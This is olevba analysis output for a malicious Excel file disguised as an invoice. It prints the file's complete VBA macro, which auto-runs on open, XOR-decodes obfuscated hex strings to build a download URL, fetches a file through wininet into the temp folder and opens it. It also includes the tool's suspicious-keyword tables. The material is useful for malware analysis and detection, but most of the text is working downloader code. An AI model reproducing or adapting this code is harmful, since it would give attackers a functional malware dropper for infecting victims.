Malicious Excel macro

olevba 0.25 - http://decalage.info/python/oletools
Flags       Filename
----------- -----------------------------------------------------------------
OLE:MASIHB- Invoice-83230.xls

(Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)

===============================================================================
FILE: Invoice-83230.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ÝòàÊíèãà.cls
in file: Invoice-83230.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Sub VICTOR(MARTIN As Long)
JEREMY
End Sub

Sub Workbook_Open()
VICTOR 544
End Sub


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+----------+---------------+----------------------------------------+
| Type     | Keyword       | Description                            |
+----------+---------------+----------------------------------------+
| AutoExec | Workbook_Open | Runs when the Excel Workbook is opened |
+----------+---------------+----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Ëèñò1.cls
in file: Invoice-83230.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò2.cls
in file: Invoice-83230.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Ëèñò3.cls
in file: Invoice-83230.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: Invoice-83230.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Option Explicit


Public Const PATRICK = "1A242920356F1E413625252F2D2D28305F"
Public Const PETER = "153F3829292A6E1F73286229343C"
Public Const HAROLD = "2138383C636E7008747C2E2D2030233A50223A622F23346E66056979797F623C393A"
Public Const DOUGLAS = "1A2F3E252935365F21670A25203C122642322C21032E33243C45"
Public Const HENRY = "FILLLYA_1"


Public Const JAMES = "JOHN"

#If VBA7 And Win64 Then
Public _
Declare _
PtrSafe _
Function _
ROBERT Lib _
"wininet.dll" Alias "InternetCloseHandle" (ByRef RICHARD As LongPtr) As Long
Public _
Declare _
PtrSafe _
Function _
MICHAEL Lib _
"wininet.dll" Alias "InternetOpenA" (ByVal CHARLES As String, ByVal JOSEPH As Long, ByVal THOMAS As String, ByVal CHRISTOPHER As String, ByVal DANIEL As Long) As LongPtr
Public _
Declare _
PtrSafe _
Function _
WILLIAM Lib _
"wininet.dll" Alias "InternetReadFile" (ByVal PAUL As LongPtr, ByVal MARK As String, ByVal DONALD As Long, GEORGE As Long) As Integer
Public _
Declare _
PtrSafe _
Function _
DAVID Lib _
"wininet.dll" Alias "InternetOpenUrlA" (ByVal KENNETH As LongPtr, ByVal STEVEN As String, ByVal EDWARD As String, ByVal BRIAN As Long, ByVal RONALD As Long, ByVal ANTHONY As Long) As LongPtr
#Else
Public Declare Function ROBERT Lib "wininet.dll" _
Alias "InternetCloseHandle" (ByRef RICHARD As Long) As Long
Public Declare Function MICHAEL Lib "wininet.dll" _
Alias "InternetOpenA" (ByVal CHARLES As String, ByVal JOSEPH As Long, ByVal THOMAS As String, ByVal CHRISTOPHER As String, ByVal DANIEL As Long) As Long
Public Declare Function WILLIAM Lib "wininet.dll" _
Alias "InternetReadFile" (ByVal PAUL As Long, ByVal MARK As String, ByVal DONALD As Long, GEORGE As Long) As Integer
Public Declare Function DAVID Lib "wininet.dll" _
Alias "InternetOpenUrlA" (ByVal KENNETH As Long, ByVal STEVEN As String, ByVal EDWARD As String, ByVal BRIAN As Long, ByVal RONALD As Long, ByVal ANTHONY As Long) As Long
#End If



Private Const KEVIN = 8162
Private Const JASON As String = "Perro"
Private Const MATTHEW = 1
Private Const GARY = &H4000000

Public Function TIMOTHY _
(ByVal JOSE As String) As Boolean
    #If VBA7 _
    And Win64 Then
        Dim LARRY As LongPtr, JEFFREY As LongPtr
    #Else
        Dim LARRY As Long, JEFFREY As Long
    #End If
    Dim FRANK As Long
    Dim MARK As String * KEVIN, CHARLES As String
    Dim SCOTT As Integer, ERIC As Double
    LARRY = MICHAEL(JASON, MATTHEW, vbNullString, vbNullString, 0)
    If LARRY = 0 Then
        Exit Function
    End If
    Dim STEPHEN As Boolean

    If ANDREW(JEFFREY, LARRY) Then
    End If
    If JEFFREY = 0 Then
        ERIC = 0
    Else
        WILLIAM JEFFREY, MARK, KEVIN, FRANK
        CHARLES = MARK
          Dim RAYMOND As Long
For RAYMOND = 321 To 322
If RAYMOND = 1232 Then End
Next RAYMOND
        Do While FRANK <> 0
            WILLIAM JEFFREY, MARK, KEVIN, FRANK
                    CHARLES = CHARLES + Mid(MARK, 1, FRANK)
        Loop
             ERIC = GREGORY(CHARLES): _
             SCOTT = JOSHUA("JERRY")
        Open JOSE _
            For Binary Access Write _
        Lock Write _
        As #SCOTT
        Put #SCOTT, _
                , CHARLES
        Dim DENNIS As Double
            For DENNIS = 42 To 43
    If DENNIS = 437 Then End
Next DENNIS
        Close #SCOTT
    End If
    ROBERT JEFFREY
    ROBERT LARRY
    CHARLES = ""
    If ERIC Then
        TIMOTHY = True
    End If
End Function

Public Function VASILY(ByRef HARRY As Integer, ByRef FRED As Integer) As String
    VASILY = Chr(HARRY Xor FRED)
End Function

Public Function SEREGA(ByRef ADAM As String, ByRef BILLY As Long) As Integer
 SEREGA = Val("&H" & (PETRO(ADAM, KOLYAN(BILLY), 2)))
End Function
Public Function KOLYAN(ByRef BILLY As Long) As Long
 KOLYAN = (2 * BILLY) - 1
End Function
Public Function DENISKA(ByRef BRANDON As String, ByRef BILLY As Long) As Integer
DENISKA = Asc(PETRO(BRANDON, _
        ((BILLY Mod GREGORY(BRANDON)) + 1), 1))
End Function

Public Function PETRO(ByRef WALTER As String, ByRef HARRY As Integer, ByRef FRED As Integer) As String
    PETRO = Mid$(WALTER, HARRY, FRED)
End Function

Public Function GREGORY(WALTER As String) As Long
GREGORY = Len(WALTER)
End Function
Public Function JOSHUA(WALTER As String) As Integer
    JOSHUA = FreeFile
End Function


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+----------------+-----------------------------------------+
| Type       | Keyword        | Description                             |
+------------+----------------+-----------------------------------------+
| Suspicious | Lib            | May run code from a DLL                 |
| Suspicious | Open           | May open a file                         |
| Suspicious | Write          | May write to a file (if combined with   |
|            |                | Open)                                   |
| Suspicious | Put            | May write to a file (if combined with   |
|            |                | Open)                                   |
| Suspicious | Chr            | May attempt to obfuscate specific       |
|            |                | strings                                 |
| Suspicious | Xor            | May attempt to obfuscate specific       |
|            |                | strings                                 |
| Suspicious | Binary         | May read or write a binary file (if     |
|            |                | combined with Open)                     |
| Suspicious | Hex Strings    | Hex-encoded strings were detected, may  |
|            |                | be used to obfuscate strings (option    |
|            |                | --decode to see all)                    |
| Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
|            |                | may be used to obfuscate strings        |
|            |                | (option --decode to see all)            |
| IOC        | wininet.dll    | Executable file name                    |
+------------+----------------+-----------------------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module2.bas
in file: Invoice-83230.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Function ARTHUR(ByRef RYAN As Object, ByVal ROGER As String) As Boolean
If RYAN.FileExists(ROGER) Then
ARTHUR = True
Else
ARTHUR = False
End If
End Function
#If VBA7 _
    And Win64 Then
       Public Function ANDREW(ByRef JOE As LongPtr, JUAN As LongPtr) As Boolean
    #Else
       Public Function ANDREW(ByRef JOE As Long, JUAN As Long) As Boolean
    #End If
Dim JACK As String
Dim HOWARD As Long
    JACK _
    = EUGENE(325, HENRY, HAROLD)

                JOE _
    = DAVID _
    ( _
    JUAN, _
    JACK, vbNullString, _
    0, _
    GARY, 0)
    ANDREW = True
End Function



Public Function EUGENE(BOBBY As Long, CARLOS As String, RUSSELL As String) As String
EUGENE = ALBERT(CARLOS, RUSSELL)

End Function




- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
No suspicious keyword or IOC found.
-------------------------------------------------------------------------------
VBA MACRO Module3.bas
in file: Invoice-83230.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -




Public Function JONATHAN()

Dim JUSTIN  As Object
Set JUSTIN = KEITH
Dim TERRY As Object
Set TERRY = GERALD(JUSTIN)

Dim SAMUEL
Dim WILLIE
WILLIE = EUGENE(2332, HENRY, PETER)
SAMUEL = TERRY & WILLIE


If ARTHUR(JUSTIN, SAMUEL) Then
JUSTIN. _
DeleteFile SAMUEL
End If
If TIMOTHY(SAMUEL) Then
End If
If ARTHUR(JUSTIN, SAMUEL) Then
End If
Dim RALPH
Set RALPH = CreateObject _
(ALBERT _
(HENRY, PATRICK))
RALPH.Open SAMUEL
End Function




- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+--------------+--------------------------+
| Type       | Keyword      | Description              |
+------------+--------------+--------------------------+
| Suspicious | CreateObject | May create an OLE object |
| Suspicious | Open         | May open a file          |
+------------+--------------+--------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module4.bas
in file: Invoice-83230.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module4'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Public Function KEITH() As Object
Dim LAWRENCE As String
LAWRENCE = ALBERT(HENRY, DOUGLAS)
Set KEITH = CreateObject(LAWRENCE)
End Function
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
+------------+--------------+--------------------------+
| Type       | Keyword      | Description              |
+------------+--------------+--------------------------+
| Suspicious | CreateObject | May create an OLE object |
+------------+--------------+--------------------------+
-------------------------------------------------------------------------------
VBA MACRO Module5.bas
in file: Invoice-83230.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module5'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Public Function GERALD(ByRef NICHOLAS As Object) As Object
Set GERALD = NICHOLAS.GetSpecialFolder(2)
End Function
Sub ROY(CALEIGH As Long)

BENJAMIN ("BRUCE")
End Sub


Public Function BENJAMIN(JONATHANs As String)
JONATHAN
End Function


Public Function ALBERT(BRANDON As String, ADAM As String) As String

    Dim HARRY As Integer
    Dim FRED As Integer


    Dim WAYNE As Double
For WAYNE = 42 To 43
If WAYNE = 32 Then End
Next WAYNE

    Dim BILLY As Long
    Dim STEVE As String
    For BILLY = 1 _
    To _
    ( _
    GREGORY _
    (ADAM) _
    / 2)
        HARRY = SEREGA(ADAM, BILLY)
        FRED = DENISKA(BRANDON, BILLY)
        STEVE = STEVE + VASILY(HARRY, FRED)
    Next BILLY
   ALBERT = STEVE
End Function


Sub JEREMY()
        Dim AARON As Long

    Dim RANDY As Integer
For RANDY = 414 To 416
If RANDY = 1312 Then End
Next RANDY

ROY (5)

End Sub



- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ANALYSIS:
No suspicious keyword or IOC found.